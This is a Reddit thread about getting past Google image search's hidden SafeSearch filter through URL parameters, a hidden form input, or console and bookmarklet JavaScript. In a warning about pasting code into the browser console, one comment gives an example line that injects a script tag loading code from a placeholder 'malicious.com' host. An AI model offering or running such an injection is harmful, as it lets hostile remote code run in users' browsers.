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submitted by fireattack
Please read the highest comment if you're new here. There is a solution already! Google-god left a back door there which you can turn it off yey :)
I discovered this thing when I'm doing reverse image search recently.
My friends and me were trying to find about the source of an image. We both used Google image research but have very different result (I only find 2, while he can find 100+).
After some investigation, we found that there is a hidden parameter which will filter out your search result: please notice, this one is not the "SafeSearch" in the option. We both have it off.
Now, you can try it yourself.
If you only see 2 or 3 results, it means for you this hidden filter is ON. Now try to add &safe=off at the end of your url (or just click here).
You can see now, it retruns 108 results.
If you can get 108 results by first link already (I can't repeat this on my computer but some people indeed have this filter off without doing anything), try in the incognito mode.
I have no idea why Google has this kind of implementation. It actually wasted me lots of time when I was doing reverse image search (I do it frequently). And there seems no way to disable it permanently (if there is, please let me know!).
I tried to search this on the Internet but seems none mentioned &safe=off explicitly, even though lots of people talk about hidden filter too. So I think it's worth a thread.
[EDIT] I did more research on this one.
So apparently it's not a new thing: Google enables mandatory filtering for image search (and image search only, you can still turn off safe search entirely for text search without any workaround) in about 2013 due to PR, gov. or whatnot. Now image safe search actually has three levels: on, moderate and off. You can use the option to switch between "on" and "moderate", but can never turn it "off" besides using "safe=off" trick.
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[–]thisisteekay 170 points171 points172 points  (38 children)
Here's how to turn it off for real in Chrome or Firefox.
  1. Go to Google, click on Settings in the bottom right and choose Search Settings.
  2. Right-click on the Turn on/off SafeSearch checkbox text and choose Inspect Element.
  3. Below the div that holds the checkbox, locate the hidden HTML input named "safeui". (If you're new to code, to help you locate this input element, toggle SafeSearch on and off. You should see a hidden input named safeui switching between the values on and images.)
  4. Double-click on the value—either the word "on" or "images"—and type "off". Hit Enter to commit your change.
  5. Hit the Save button at the bottom of the page to save this as your default search preference.
Edit: Thanks for the gold! Be sure to checkout COLOSSAL_SHITPOST's solution if this one seems too tricky.
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[–]temp05981 6 points7 points8 points  (12 children)
PSA: Pasting code into the console - especially if you aren't familiar with this stuff - is very dangerous. People can hypothetically steal your login info by doing this, and whatever that login info protects.
Can somebody with a reputable account please post saying this code is safe? I would, but my temp-account habit makes verification coming from me as fishy as it gets...
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[–]thisisteekay 6 points7 points8 points  (0 children)
Pasting code into the console can be fishy if you don't know much about code, but this code is pretty straight forward.
It finds the first element named "safeui" and sets it's value to "off', then it finds the form with ID "ssform" and submits it. It's just doing the final two steps I provided for you, without you having to go through the trouble of steps 2 and 3.
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[–]temp05981 3 points4 points5 points  (0 children)
You make a point.
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[–]IanSan5653 3 points4 points5 points  (2 children)
It's going to take more code than that to steal your stuff.
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[–]temp05981 11 points12 points13 points  (1 child)
document.body.innerHTML+='<script src="malicious.com'></script>'
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[–]IanSan5653 2 points3 points4 points  (0 children)
Good point.
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[–]_var_log_messages 3 points4 points5 points  (3 children)
I am an established account and am an pen tester for Intel, and I can verify that it is safe, if you think that someone is going to session jack or x site script based off that you have a sophomoric understanding of the attack surface and how that works
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[–]temp05981 2 points3 points4 points  (2 children)
Thanks for the reply.
Like I said, I can tell the code is safe. I just don't want to be the guy I'm asking people to trust, as my account has no reputation. The point of this is specifically for people who have a sophomoric, or no, understanding of which code is safe to run.
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[–]_var_log_messages 1 point2 points3 points  (1 child)
I changed my opinion to an upvote and apologize if I came across as brash.
I get what you are saying that someone could make a comment later to a user in life or on this thread telling them to change something with the htttp-form input or something to try and fuck with them. This one is innocent but you were concerned that people might not realize that this action is a gateway to what could be trouble for them.
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[–]randfur -1 points0 points1 point  (1 child)
Or just run it in incognito without signing in.
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[–]wolfcry0 0 points1 point2 points  (0 children)
Won't help.
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[–]naalty 5 points6 points7 points  (1 child)
can do this in safari too :)
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[–]FagDamager 0 points1 point2 points  (0 children)
thanks
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[–]gefahr 6 points7 points8 points  (0 children)
yes
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[–]fireattack[S] 4 points5 points6 points  (0 children)
Literally save my life. You deserve gold!
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[–]temp05981 5 points6 points7 points  (1 child)
Simplified instructions:
  1. Go here
  2. Paste this into the URL bar and hit enter. Your browser may strip the leading "javascript:" when you paste, re-type it if it disappears.
    javascript:document.querySelector('[name=safeui]').value='off';document.querySelector('#ssform').submit();void 0;
  3. You're done. You should be taken to google.com.
Somebody with a reputable account please second me that this code is safe to run.
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[–]MegaScience 0 points1 point2 points  (0 children)
As far as the code goes, that would do its purpose. However, one issue is - at least Firefox - disabled javascript: for the address bar by default. You'd have to re-enable that manually. An alternative, if you follow the guide of the original post, is after inspecting to just enter the code after javascript: into the console from there.
Probably better to just do the original post method, though.
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[–]JimboLodisC 4 points5 points6 points  (2 children)
Here's a link to Step 1 for the lazy. You may now proceed to Step 2.
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[–]thisisteekay 2 points3 points4 points  (1 child)
Your link works if you're in the United States or use google.com
I almost provided a link, but I realized it was to google.ca (since I'm in Canada) and wanted to make sure to include everyone.
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[–]JimboLodisC 0 points1 point2 points  (0 children)
So what happens when a Canadian user clicks on the link? Because I replaced .com with .ca and it still loaded the page for me. I did get a cookie warning.
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[–]MystikIncarnate 2 points3 points4 points  (0 children)
Best fix.
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[–]Yilku1 1 point2 points3 points  (2 children)
Where's the Save button?
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[–]AquaWolfGuy 1 point2 points3 points  (1 child)
The blue button at the bottom of the search settings page (not in the Inspector panel). You'll likely have to scroll down.
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[–]Yilku1 1 point2 points3 points  (0 children)
Thank you!
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[–]TrptJim 1 point2 points3 points  (0 children)
This is awesome -- it applies to my Google Account, so all my PCs reflect the changed setting. Thank you so much!
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[–]StarwatcherUSA 1 point2 points3 points  (0 children)
I've been doing this and SafeSearch still won't turn off. When I got to my settings to turn it off, it acts like it's already off, but it isn't.
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[–]yaosio 0 points1 point2 points  (0 children)
Thanks, worked for me.
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[–]SpaceMonkey_Mafia 0 points1 point2 points  (2 children)
Let me know when you know this for mobile.
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[–]thisisteekay 1 point2 points3 points  (1 child)
I think the preference might carry through to your mobile device if you're logged in with the same Gmail account.
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[–]SpaceMonkey_Mafia 0 points1 point2 points  (0 children)
Ah of course. Champion
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[–]mistermonstermash 0 points1 point2 points  (0 children)
Thank you so much! Quick question though: Is this a permanent change?
I did what you said, and it worked, but is this something I'll have to do again after the next time I clear my cache/cookies/etc? I guess what I mean is I'm not clear if this changed the setting on my actual google account or just in the browser I made the change in.
Thanks!
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[–]SCphotog 0 points1 point2 points  (1 child)
Any way to make this stick with cookies off?
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[–]noxbl 1 point2 points3 points  (0 children)
When using www.google.com/ncr incognito it seems to return all results
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[–]Comentarinformal 26 points27 points28 points  (3 children)
Wrote this greasemonkey in three minutes, works with the links in the OP:
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[–]jsheradin 8 points9 points10 points  (1 child)
You could just do this.
Make a bookmark with whatever title you want and have the link be:
javascript:window.location.search += '&safe=off'; void 0
Click it and it will append the &safe=off to whatever url you are currently on. Seems to work just fine!
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[–]SCphotog 4 points5 points6 points  (0 children)
When I did this a "safesearch" dropdown menu magically appeared next to the search box.
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[–]SilverTelperion 3 points4 points5 points  (0 children)
Thanks! That worked nicely.
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[–]Cyanogen101 7 points8 points9 points  (0 children)
Interesting
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[–]Oni_Kami 6 points7 points8 points  (1 child)
Wow thanks! It's kinda fucked up that that's there. Really annoying and frustrating. This will definitely help me out with a few things.
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[–]Zarqon 1 point2 points3 points  (0 children)
with a few things
O_o
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[–]Lammy8 3 points4 points5 points  (0 children)
Thanks for sharing, I wondered why I've not been able to find things that I swear I've seen before. Sent them an email requesting n option to totally turn off safe search in image search.
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[–]exo762 2 points3 points4 points  (0 children)
Sell not virtue to purchase wealth, nor Liberty to purchase power." B.F.
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[–][deleted] 2 points3 points4 points  (3 children)
This is incredible. How can we contact Google about this?
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[–]etacarinae 4 points5 points6 points  (1 child)
They don't care. There have been multiple upon multiple threads in the google product forums with thousands of users complaining.
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[–]dnew 0 points1 point2 points  (0 children)
It's the "send feedback" that has the best chance of having an effect, because that's what gets bucketed and prioritized for fixes.
In any case, if this is some sort of legal requirement, you can complain all you want to Google and it won't get fixed until you complain to your legislators.
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[–]dnew 0 points1 point2 points  (0 children)
Use the feedback button. That's what gets organized into buckets so they can see what is important and what isn't.
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[–]sapfi004 1 point2 points3 points  (2 children)
Someone must know how your friend has &safe=off by default?
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[–]vinylarin 0 points1 point2 points  (1 child)
Maybe his friend is in a different country.
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[–]fireattack[S] 10 points11 points12 points  (0 children)
You're almost right, it's actually a very long story.
He uses Google simplified Chinese interface, which hasn't been updated for years because you know, Google quited China.
If you go that interface and go advanced search, you will surprisingly find that under "Safe search" option, you can still choose from off/moderate/on:
(The last third option, the slider; compare it with English interface you will figure out the difference).
This is not enough, though: you can use this advanced search once (equivalent to safe=off), but this setting won't be saved for your further search. However, some users (including my friend) had some weird, outdated cookies in their browser or settings in Google's server which can affect their account's default settings. It's hard for us to reproduce though.
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[–]jamisonfitz 1 point2 points3 points  (2 children)
I recently noticed a forced mode at work, the safe search can't be disabled unless by the network admins.
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[–]trbleclef 4 points5 points6 points  (1 child)
That is done via DNS settings...
To force SafeSearch for your network, you’ll need to update your DNS configuration. Set the DNS entry for www.google.com (and any other Google ccTLD country subdomains your users may use) to be a CNAME for forcesafesearch.google.com.
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[–]jamisonfitz 2 points3 points4 points  (0 children)
Good to know, thanks.
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[–]MyMovieSucks 1 point2 points3 points  (0 children)
DUDE! Don't know if you've tried this already, but make a bookmark. Have the location be 
https://www.google.com/search?tbm=isch&q=%s&safe=off
Have the keyword be anything you want. Something simple like so, for safe off, and just type so [query] from now on.
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[–]FredH5 1 point2 points3 points  (0 children)
My guess is that those of us who disabled SafeSearch for their account before 2103 when Google removed the "off" option have it to off already.
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[–]JackTheKing 0 points1 point2 points  (0 children)
Nice. I've never know how to disable this. I have found that adding the word "tits" to my searches does the trick.
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[–]aerobless 0 points1 point2 points  (0 children)
Interesting. When I'm logged in both links give me the same results (110). When I use incognito mode I only get 2-3results. So I'm guessing that for my account it's also permanently off.
I'm based in Switzerland, though my Google Account is mostly American (I get promos for the US and have the US version of google music all access).
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[–]edgan 0 points1 point2 points  (0 children)
In the US, logged in, logged out, or in incognito I get the same results for image search. There does seem to be a new bias towards no nudity by default.
Examples: "tits" = no porn, but cleavage. Turning on safe search, which seems to be off by default, removes the cleavage.
Examples: "tits naked" = porn. Turn on safe search, removes all results.
Your example does work the way you said. I get 2 results normally, and I get 198 results with "&safe=off". But it doesn't really seem to change the quality of the results, just the number.
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[–]dudeofedud 0 points1 point2 points  (1 child)
I am not sure, what am i doing wrong, but this is not working. I changed from images to off, and safesearch thing was not checked, and i clicked blue save button on bottom of page, but i still get those ugly filters!
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[–]dudeofedud 0 points1 point2 points  (0 children)
Ooops, meant to reply this to /u/thisisteekay sadly he's method is not working for some kind of reason!
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[–]FrackWithTheEagles 0 points1 point2 points  (0 children)
I tried all the solutions in this thread. Incognito, changing the setting by inspecting the safe search element, even adding the &safe=off... Nothing worked. :( The only thing I could find to get uncensored results is to go to www[dot]safesearchoff[dot]com it seems to funnel the searches through yahoo. It's easy enough, albeit a VERY annoying extra step, I may abandon Chrome. But, uch, firefox doesn't support adblock now... Tips anyone?
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[–]insomnic -3 points-2 points-1 points  (0 children)
This is normally enforced by work or school networks.
Edit: Downvotes? But it's true. It's a DNS function work and school networks often enforce that removes the simple button to turn it on/off.
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[–]mazter00 comment score below threshold-17 points-16 points-15 points  (6 children)
You have no idea? Really? You are not thinking of the children?
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[–]fireattack[S] 13 points14 points15 points  (1 child)
By that I mean Google should give the user (at least logged in users) option: and actually they does, but having a hidden filter above that is kinda of shady practice IMO.
But I respect your opinion.
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[–]classic__schmosby 6 points7 points8 points  (0 children)
I have suspected this for a while. I agree that Google should have a setting, even if it's hidden in my account page, that completely turns off any filtering.
And they could name it something like "I'm a goddamned adult."
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[–]Rsa72 5 points6 points7 points  (2 children)
Only bad parents would blame google instead of themselves
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[–]godsfilth 0 points1 point2 points  (0 children)
Sooo the kind of parent that will go running to Fox News screaming about how Google stole their kids innocence, disregarding the fact that they left their kids alone with a data connection
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[–]OnlyRev0lutions comment score below threshold-6 points-5 points-4 points  (0 children)
Said by someone who isn't a parent.
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[–]etacarinae -1 points0 points1 point  (0 children)
You are not thinking of the children?
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[–]Yage2006 -1 points0 points1 point  (0 children)
I got 109 results on the first link. I am logged into my account also. I actually do a lot of images searching as I am a web dev. The only things I remember turning off are safe search. Something on your end maybe.
So umm good luck with your "research" hahaa....
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[–]jmr3184 -1 points0 points1 point  (0 children)
I see 112 search results
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